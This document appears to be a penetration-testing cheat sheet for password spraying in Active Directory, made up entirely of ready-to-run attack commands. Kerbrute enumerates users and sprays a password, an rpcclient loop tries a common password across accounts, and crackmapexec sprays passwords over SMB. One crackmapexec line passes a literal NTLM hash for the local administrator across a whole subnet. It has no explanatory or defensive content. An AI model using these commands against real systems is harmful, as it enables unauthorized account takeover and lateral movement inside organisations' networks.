Spray

Kerbrute

User Enumeration

kerbrute userenum -d qu35t.pw --dc 172.17.0.3 users.txt

Password Spraying

kerbrute passwordspray -d qu35t.pw --dc 172.17.0.3 users.txt 'Summer2022!'

Synchronize date with server

ntpdate 10.10.10.10

Rpcclient

Password Spraying

for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.17.0.3 | grep Authority; done

Crackmapexec

Password Spraying

crackmapexec smb 172.17.0.3 -u valid_users.txt -p Password123 --continue-on-success | grep +

Local Admin Spraying

crackmapexec smb --local-auth 172.17.0.0/24 -u administrator -H 88ad09182de639ccc6579eb0849751cf --continue-on-success | grep +